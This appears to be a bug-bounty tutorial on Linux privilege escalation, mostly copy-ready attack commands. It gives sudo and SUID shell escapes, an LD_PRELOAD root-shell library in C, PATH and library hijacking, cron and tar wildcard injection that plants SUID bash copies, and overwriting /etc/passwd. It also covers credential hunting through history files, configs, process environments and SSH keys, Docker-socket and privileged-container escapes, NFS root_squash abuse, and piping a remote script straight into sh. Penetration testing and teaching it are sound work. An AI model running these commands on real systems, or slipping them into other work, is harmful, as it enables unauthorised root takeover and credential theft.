Key Takeaways
- sudo -l is your first command — sudo misconfigurations are the most common and easiest privesc vector on real targets
- SUID binaries are everywhere — custom SUID binaries are almost always exploitable; check GTFOBins for standard ones
- Cron jobs run as root — if you can write to a script that cron executes, you own the box
- Kernel exploits are last resort — they crash systems and leave traces; exhaust misconfigurations first
- Containers are not jails — Docker socket access, privileged mode, and host mounts all lead to escape
- Automate enumeration, escalate manually — run LinPEAS for discovery, but understand each vector before exploiting
Why Linux Privilege Escalation Matters for Bug Bounty
You got a shell. Maybe through command injection, an SSRF-to-RCE chain, or a deserialization bug. You're running as www-data or nobody. The report you write now says "Remote Code Execution" — but if you can escalate to root, it says "Full System Compromise." That's the difference between a medium and a critical finding.
Most bug bounty programs with infrastructure scope explicitly reward privilege escalation. Even programs focused on web applications care when you can demonstrate that a web vulnerability chains into root access on the underlying server. This guide covers every practical technique you need.
Initial Enumeration — What to Check First
Before trying any escalation technique, gather information about the system. Every piece of data narrows down which vectors are viable.
System Information
# OS and kernel version — needed for kernel exploit matching
uname -a
cat /etc/os-release
# Current user and groups
id
whoami
groups
# All users with shells
grep -v '/nologin\|/false' /etc/passwd
# Network — what's listening internally?
ss -tlnp
ip addr
Quick Wins Checklist
Run these before anything else. They take seconds and catch the most common misconfigurations:
# 1. Sudo permissions (most common vector)
sudo -l
# 2. SUID binaries
find / -perm -4000 -type f 2>/dev/null
# 3. Writable cron scripts
ls -la /etc/cron* /var/spool/cron/crontabs/ 2>/dev/null
cat /etc/crontab
# 4. Linux capabilities
getcap -r / 2>/dev/null
# 5. Writable /etc/passwd (instant root)
ls -la /etc/passwd /etc/shadow
Sudo Misconfigurations
This is the single most productive escalation vector. Run sudo -l on every target. If the output shows any binary you can run as root — especially with NOPASSWD — check GTFOBins immediately.
Common Exploitable Sudo Entries
# vim/vi — spawn a shell
sudo vim -c ':!sh'
# find — execute arbitrary commands
sudo find /tmp -exec /bin/sh \;
# env — bypass PATH restrictions
sudo env /bin/sh
# awk — execute system commands
sudo awk 'BEGIN {system("/bin/sh")}'
# less/more — shell escape
sudo less /etc/shadow
# then type: !sh
# python/python3
sudo python3 -c 'import os; os.system("/bin/sh")'
# nmap (older versions with interactive mode)
sudo nmap --interactive
# then: !sh
Sudo Environment Tricks
# If sudo preserves LD_PRELOAD (check with sudo -l)
# Compile a shared library that spawns a shell:
cat > /tmp/privesc.c << 'EOF'
#include
#include
#include
void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/sh");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/privesc.so /tmp/privesc.c
sudo LD_PRELOAD=/tmp/privesc.so
SUID/SGID Binary Abuse
SUID binaries run with the file owner's permissions — usually root. Custom SUID binaries are almost always exploitable. Standard ones may be exploitable depending on the version.
# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null
# Compare against GTFOBins list
# Focus on anything non-standard — custom binaries are gold
Exploiting Custom SUID Binaries
# Check what the binary does
strings /usr/local/bin/custom-suid
ltrace /usr/local/bin/custom-suid
strace /usr/local/bin/custom-suid
# If it calls system() or popen() with a relative path:
# Create a malicious binary in PATH
export PATH=/tmp:$PATH
echo '#!/bin/sh' > /tmp/service
echo '/bin/sh' >> /tmp/service
chmod +x /tmp/service
/usr/local/bin/custom-suid
Known SUID Escalations
# pkexec (CVE-2021-4034 — PwnKit, still unpatched on many systems)
# Check if pkexec is SUID
ls -la /usr/bin/pkexec
# base64 — read any file
LFILE=/etc/shadow
/usr/bin/base64 "$LFILE" | base64 -d
# cp — overwrite /etc/passwd
# Generate password hash: openssl passwd -1 newpass
# Create modified passwd with root-level user
/usr/bin/cp /tmp/modified-passwd /etc/passwd
Cron Jobs and Systemd Timers
If root runs a script you can write to, you own the box. If root runs a script that sources files you can write to, same result.
# System cron
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/
# User crons
crontab -l
ls -la /var/spool/cron/crontabs/
# Systemd timers
systemctl list-timers --all
# Watch for processes (catches cron jobs you can't see in files)
# Use pspy: https://github.com/DominicBreuker/pspy
./pspy64
Exploiting Writable Cron Scripts
# If /opt/backup.sh is run by root cron and you can write to it:
echo '#!/bin/bash' > /opt/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/backup.sh
# Wait for cron to execute, then:
/tmp/rootbash -p
Wildcard Injection
# If cron runs: tar czf /backup/archive.tar.gz *
# In the directory where tar runs with wildcard:
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh privesc.sh"
echo '#!/bin/bash' > privesc.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> privesc.sh
Linux Capabilities
Capabilities are a finer-grained alternative to SUID. A binary with cap_setuid+ep can change its UID to root without being SUID.
# Enumerate capabilities
getcap -r / 2>/dev/null
# Dangerous capabilities:
# cap_setuid — change UID (direct root)
# cap_setgid — change GID
# cap_dac_override — bypass file permission checks
# cap_dac_read_search — read any file
# cap_net_raw — raw sockets (sniffing)
# cap_sys_admin — mount filesystems, many kernel operations
# cap_sys_ptrace — trace/debug any process
Exploiting cap_setuid
# If python3 has cap_setuid+ep:
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# If perl has cap_setuid+ep:
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/sh";'
Credential Hunting
Passwords and keys are scattered across Linux systems. Developers leave them in configuration files, history files, environment variables, and backup archives.
# History files
cat ~/.bash_history ~/.zsh_history ~/.mysql_history 2>/dev/null
# Configuration files with passwords
grep -ri "password\|passwd\|pass\|secret\|key\|token" /etc/ /opt/ /var/www/ /home/ 2>/dev/null | grep -v "Binary"
# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
# Environment variables
env
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i "pass\|key\|secret\|token"
# Database credentials
cat /var/www/*/wp-config.php /var/www/*/.env /opt/*/.env 2>/dev/null
# Backup files
find / -name "*.bak" -o -name "*.old" -o -name "*.backup" -o -name "*.sql" 2>/dev/null
Writable PATH and Library Hijacking
# Check if any directory in root's PATH is writable
echo $PATH | tr ':' '\n' | xargs -I{} ls -ld {} 2>/dev/null
# If a root-executed script calls a binary without full path
# and you can write to a PATH directory that comes first:
echo '#!/bin/sh' > /writable-path-dir/service
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /writable-path-dir/service
chmod +x /writable-path-dir/service
# Shared library hijacking
# If a SUID binary loads a library from a writable location:
ldd /usr/local/bin/suid-binary
# Look for "not found" libraries or writable library paths
Kernel Exploits
Kernel exploits should be your last resort. They can crash the system, leave forensic traces, and may not work reliably. But when nothing else works, they're the path to root.
# Get kernel version
uname -r
# Use linux-exploit-suggester
./linux-exploit-suggester.sh
# Notable kernel exploits (check if target is vulnerable):
# DirtyPipe (CVE-2022-0847) — Linux 5.8 to 5.16.11
# DirtyCow (CVE-2016-5195) — Linux 2.x through 4.x
# PwnKit (CVE-2021-4034) — polkit pkexec (not strictly kernel)
# GameOver(lay) (CVE-2023-2640, CVE-2023-32629) — Ubuntu OverlayFS
Container Escapes
If you're inside a Docker container or Kubernetes pod, escalation means escaping to the host.
# Am I in a container?
cat /proc/1/cgroup 2>/dev/null | grep -i "docker\|lxc\|kubepods"
ls -la /.dockerenv 2>/dev/null
hostname # Random hex = likely container
# Docker socket mounted (instant host root)
ls -la /var/run/docker.sock
# If accessible:
docker run -v /:/host --rm -it alpine chroot /host sh
# Privileged container
ip link add dummy0 type dummy 2>/dev/null && echo "PRIVILEGED" || echo "unprivileged"
# If privileged:
mkdir /tmp/hostfs && mount /dev/sda1 /tmp/hostfs
chroot /tmp/hostfs
# Host PID namespace
ls /proc/1/root/ # If you can see host filesystem
# Kubernetes service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Use kubectl with the token to check cluster permissions
NFS Misconfigurations
# Check for NFS shares
showmount -e target-ip
cat /etc/exports
# If no_root_squash is set:
# Mount the share on your machine as root
mkdir /tmp/nfs && mount -t nfs target-ip:/share /tmp/nfs
# Create a SUID binary on the share
cp /bin/bash /tmp/nfs/rootbash
chmod +s /tmp/nfs/rootbash
# On the target, execute:
/share/rootbash -p
Automated Enumeration Tools
LinPEAS
# Download and run
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Or transfer to target and run
chmod +x linpeas.sh
./linpeas.sh -a 2>&1 | tee linpeas-output.txt
linux-exploit-suggester
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
pspy — Process Monitoring
# Catches cron jobs and processes you can't see with ps
./pspy64
# Watch for root-executed processes with writable scripts
Escalation Methodology — Putting It Together
- Enumerate — Run
sudo -l, find SUID binaries, check capabilities, list cron jobs - Quick wins — Check writable /etc/passwd, Docker socket, sudo NOPASSWD entries
- Credential hunt — Search history files, config files, environment variables, SSH keys
- Misconfigurations — Writable cron scripts, PATH hijacking, NFS no_root_squash
- Kernel exploits — Only if nothing else works; match kernel version to known CVEs
- Document everything — Screenshot each step for your report
Writing the Report
A privilege escalation finding needs to clearly show the chain from initial access to root. Include:
- Initial access method — how you got the low-privilege shell
- Enumeration findings — what misconfiguration you found
- Exploitation steps — exact commands used to escalate
- Proof of root —
idoutput showing uid=0, contents of /root/proof.txt or equivalent - Impact statement — what root access means for this specific target (data access, lateral movement, persistence)
- Remediation — specific fix for the misconfiguration (remove SUID bit, fix sudo entry, patch kernel)
Further Reading
- Windows Privilege Escalation Guide — the Windows counterpart to this guide
- Command Injection Hunting Guide — getting the initial shell to escalate from
- Container Security Testing — deep dive on container escape techniques
- Cloud Pentesting Methodology — cloud misconfigurations that chain with Linux privesc
- GTFOBins — the definitive reference for Unix binary exploitation